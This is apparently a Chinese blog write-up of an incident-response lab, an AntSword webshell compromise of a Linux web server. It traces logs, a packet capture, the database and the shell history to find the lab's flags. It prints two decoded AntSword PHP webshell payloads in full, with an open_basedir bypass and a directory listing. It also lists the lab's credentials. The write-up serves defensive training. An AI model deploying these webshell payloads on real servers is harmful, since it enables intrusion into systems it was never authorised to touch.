ZGSF-Linux-Web2(灵境)

ZGSF-Linux-Web2(灵境)

_
本文内容由 AI 辅助生成,已经人工审核和编辑。

这个靶机来源于微信公众号:知攻善防实验室。靶机已在灵境靶场平台(LingJing)上线。

背景

靶机描述:

靶机

情景模拟 (应急响应):

你在监控中发现服务器出现 Webshell 告警,领导让你立即上机排查,找出攻击者的入侵路径、上传的木马、修改的账号密码等关键信息。

Web:http://ip,后台管理员:peadmin/Network@2020

BT:https://ip:8888/LingJing,账号密码:LingJing/LingJing

ssh:22 端口,root/zgsf2025

连上 ssh 后,在 /root 路径下运行./wp 查看题目

注意:该靶机存在许多非预期解,请合理练习应急响应技能。

你需要通过分析日志、数据库、流量包、文件系统等,找到以下信息:

1, 提交攻击者 IP

2, 提交攻击者修改的管理员密码 (明文)

3, 提交第一次 Webshell 的连接 URL(http://xxx.xxx.xxx.xx/abcdefg?abcdefg 只需要提交 abcdefg?abcdefg)

4, 提交 Webshell 连接密码

5, 提交数据包的 flag1

6, 提交攻击者使用的后续上传的木马文件名称

7, 提交攻击者隐藏的 flag2

8, 提交攻击者隐藏的 flag3

注意事项

靶机存在非预期解,建议练习时注重应急响应思路,不要仅追求“跑通答案”。

建议关闭防火墙和实时防护,避免木马文件被自动清除。

通关

要求:

1,提交攻击者IP

2,提交攻击者修改的管理员密码(明文)

3,提交第一次Webshell的连接URL(http://xxx.xxx.xxx.xx/abcdefg?abcdefg只需要提交abcdefg?abcdefg)

4,提交Webshell连接密码

5,提交数据包的flag1

6,提交攻击者使用的后续上传的木马文件名称

7,提交攻击者隐藏的flag2

8,提交攻击者隐藏的flag3

首先通过 SSH 连接上我们的靶机,执行如下命令来查看当前主机最近的登录情况,如果攻击者登录成功,我们就可以查到记录。

grep "Accepted " /var/log/secure* | awk '{print $1,$2,$3,$9,$11}'

执行成功。

发现除了我自己的 IP 地址之外,还有192.168.20.1这个 IP 地址有多条登录记录!那么这个很有可能就是攻击者的 IP。

我们接着往下进行,发现主机运行着NginxMysql,那么第二条要求的管理员密码就是和这两个有关。

发现 root 目录下有一个流量包文件。我们下载下来分析。

wireshark打开流量包,过滤一下 http 报文,发现都是192.168.20.1在访问我们的 Linux 主机。

过滤过程中发现了 /flag1 路由,我们追踪一下,得到了我们的第一个 Flag:flag1{Network@_2020_Hack}

除此之外,访问的 URL 就都是index.php?user-app-registerversion2.php了。

我们同样追踪 http 流。

我们观察到请求体里面有个ini_set 函数,这是蚁剑的特征函数,这里可以得知,攻击者使用的是蚁剑管理的 Webshell,最前面的Network2020就是 Webshell 的连接密码。由此可以得到,攻击者第一次 Webshell 的连接 URL 就是index.php?user-app-register

我们将这段进行解码,看看攻击者在干什么。

得到的 PHP 代码如下:

Network2020=@ini_set("display_errors", "0");
@set_time_limit(0);
$opdir=@ini_get("open_basedir");
if($opdir) {
	$ocwd=dirname($_SERVER["SCRIPT_FILENAME"]);
	$oparr=preg_split(base64_decode("Lzt8Oi8="),$opdir);
	@array_push($oparr,$ocwd,sys_get_temp_dir());
	foreach($oparr as $item) {
		if(!@is_writable($item)) {
			continue;
		}
		;
		$tmdir=$item."/.fd491f470fb7";
		@mkdir($tmdir);
		if(!@file_exists($tmdir)) {
			continue;
		}
		$tmdir=realpath($tmdir);
		@chdir($tmdir);
		@ini_set("open_basedir", "..");
		$cntarr=@preg_split("/\\\\|\//",$tmdir);
		for ($i=0;$i<sizeof($cntarr);$i++) {
			@chdir("..");
		}
		;
		@ini_set("open_basedir","/");
		@rmdir($tmdir);
		break;
	}
	;
}
;
;
function asenc($out) {
	return $out;
}
;
function asoutput() {
	$output=ob_get_contents();
	ob_end_clean();
	echo "4a0c"."dc70";
	echo @asenc($output);
	echo "db6"."da5";
}
ob_start();
try {
	$D=dirname($_SERVER["SCRIPT_FILENAME"]);
	if($D=="")$D=dirname($_SERVER["PATH_TRANSLATED"]);
	$R="{$D}	";
	if(substr($D,0,1)!="/") {
		foreach(range("C","Z")as $L)if(is_dir("{$L}:"))$R.="{$L}:";
	} else {
		$R.="/";
	}
	$R.="	";
	$u=(function_exists("posix_getegid"))?@posix_getpwuid(@posix_geteuid()):"";
	$s=($u)?$u["name"]:@get_current_user();
	$R.=php_uname();
	$R.="	{$s}";
	echo $R;
	;
}
catch(Exception $e) {
	echo "ERROR://".$e->getMessage();
}
;
asoutput();
die();

这段代码是一个经过混淆的 Webshell,主要用于探测服务器环境信息并尝试绕过安全限制

接下来我们找找密码,如果攻击者修改了管理员的密码,那么修改后的密码应该存在数据库中。我们直接由宝塔面板访问数据库。

登录数据库,查找管理员密码。先进入用户组,查看id和用户身份的关系。

发现id1的则为管理员,那么我们进入用户表,直接查找Id1的用户。

找到了,但密码是 MD5 加密后的值,我们进行解密。解密成功,密码为Network@2020

然后我们分析一下请求index.php?user-app-register地址的第二个流量包,得到 PHP 代码如下:

Network2020=@ini_set("display_errors", "0");
@set_time_limit(0);
$opdir=@ini_get("open_basedir");
if($opdir) {
	$ocwd=dirname($_SERVER["SCRIPT_FILENAME"]);
	$oparr=preg_split(base64_decode("Lzt8Oi8="),$opdir);
	@array_push($oparr,$ocwd,sys_get_temp_dir());
	foreach($oparr as $item) {
		if(!@is_writable($item)) {
			continue;
		}
		;
		$tmdir=$item."/.24b0d";
		@mkdir($tmdir);
		if(!@file_exists($tmdir)) {
			continue;
		}
		$tmdir=realpath($tmdir);
		@chdir($tmdir);
		@ini_set("open_basedir", "..");
		$cntarr=@preg_split("/\\\\|\//",$tmdir);
		for ($i=0;$i<sizeof($cntarr);$i++) {
			@chdir("..");
		}
		;
		@ini_set("open_basedir","/");
		@rmdir($tmdir);
		break;
	}
	;
}
;
;
function asenc($out) {
	return $out;
}
;
function asoutput() {
	$output=ob_get_contents();
	ob_end_clean();
	echo "02e"."9bd";
	echo @asenc($output);
	echo "6f2"."72a8";
}
ob_start();
try {
	$D=base64_decode(substr($_POST["x0b6b31b98f31d"],2));
	$F=@opendir($D);
	if($F==NULL) {
		echo("ERROR:// Path Not Found Or No Permission!");
	} else {
		$M=NULL;
		$L=NULL;
		while($N=@readdir($F)) {
			$P=$D.$N;
			$T=@date("Y-m-d H:i:s",@filemtime($P));
			@$E=substr(base_convert(@fileperms($P),10,8),-4);
			$R="	".$T."	".@filesize($P)."	".$E."
";
			if(@is_dir($P))$M.=$N."/".$R; else $L.=$N.$R;
		}
		echo $M.$L;
		@closedir($F);
	}
	;
}
catch(Exception $e) {
	echo "ERROR://".$e->getMessage();
}
;
asoutput();
die();
x0b6b31b98f31d=TtL3d3dy93d3dyb290LzEyNy4wLjAuMS8=

其中,最后一行的x0b6b31b98f31d=TtL3d3dy93d3dyb290LzEyNy4wLjAuMS8=是需要执行的参数,因为蚁剑会将参数进行base64编码,然后在最前面随机添加两个字母,所以参数应该是对L3d3dy93d3dyb290LzEyNy4wLjAuMS8=进行base64解码,得到 /www/wwwroot/127.0.0.1/。

分析了一下这些流量包后,发现攻击者在 /www/wwwroot/127.0.0.1/ 目录下创建了flag1 文件并写入 flag,然后写入一个新的木马 shell.php,再改名为version2.php,那么后续访问version2.php的流量包应该就是后续上传的木马文件了。

追踪 version2.php 的 http 流,发现是加密的。

到这里,攻击者已经 getshell 了。我们回到 Linux 主机。

输入env查看环境变量,没想到直接得到第三个 Flag 了。

或者不看环境变量,这里输入history,查看攻击者在主机上进行了什么操作。

[root@web-server ~]# history
...此处省略...
   69  cd 127.0.0.1/
   70  ls
   71  ls -a
   72  vim .api
   73  ls
   74  ls -a
   75  mkdir .api
   76  ls
   77  ls -a
   78  cd .api/
   79  l
   80  ls
   81  cd ..
   82  ls
   83  cd ap
   84  cd api/
   85  ls
   86  cp * ../.api/
   87  ls
   88  cd ..
   89  ls
   90  cd .api/
   91  ls
   92  vim mpnotify.php 
   93  yum install vim
   94  ls
   95  vim  alinotify.php 
   96  cat /etc/shadow
   97  who
   98  w
   99  history
  100  useradd flag3{5LourqoFt5d2zyOVUoVPJbOmeVmoKgcy6OZ}
  101  env
  102  $flag3 = [root@web-server .api]# useradd flag3{5LourqoFt5d2zyOVUoVPJbOmeVmoKgcy6OZ}
  103  useradd: invalid user name 'flag3{5LourqoFt5d2zyOVUoVPJbOmeVmoKgcy6OZ}'
  104  $flag3 = flag{5LourqoFt5d2zyOVUoVPJbOmeVmoKgcy6OZ}
  105  vim /etc/profile
  106  source /etc/p
  107  source /etc/profile
  108  env

通过history命令,发现攻击者在环境变量中写入了第三个 flag:flag{5LourqoFt5d2zyOVUoVPJbOmeVmoKgcy6OZ},并且攻击者在/www/wwwroot/127.0.0.1/ 中创建了文件夹.api隐藏文件,然后复制了api下的文件,并修改了其中的alinotify.php文件。查看一下这个文件,看看攻击者干了什么。

在最后一行发现了 Flag2:flag{bL5Frin6JVwVw7tJBdqXlHCMVpAenXI9In9}

综上:

成功解出靶机!

ZGSF-Windows-Web3(灵境) 2026-02-01
OSI参考模型&&TCP/IP模型 2026-02-04

评论区